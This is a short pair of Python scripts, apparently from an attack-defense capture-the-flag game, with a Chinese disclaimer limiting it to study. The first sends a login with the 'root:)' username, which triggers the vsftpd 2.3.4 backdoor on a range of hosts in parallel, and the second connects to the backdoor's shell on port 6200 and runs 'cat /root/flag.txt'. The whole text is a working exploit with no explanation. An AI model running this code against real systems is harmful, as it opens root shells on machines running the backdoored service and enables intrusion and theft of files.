下面代码仅供学习参考,禁止用于其他非法途径
import ftplib
import threading
ips=[]
for i in range(101,124):
ip='172.20.'+str(i)+'.101'
ips.append(ip)
def con(host):
try:
f=ftplib.FTP(host)
f.login('root:)','')
except:
pass
for i in ips:
t=threading.Thread(target=con,args=(i,))
t.start()
6200端口
import socket
import threading
ips=[]
for i in range(101,124):
ip='172.20.'+str(i)+'.101'
ips.append(ip)
def con(host):
try:
s=socket.socket()
s.connect((host,6200))
s.send(b'cat /root/flag.txt\n')
data=s.recv(1024)
print(host,data.decode('utf-8'))
except:
pass
for i in ips:
t=threading.Thread(target=con,args=(i,))
t.start()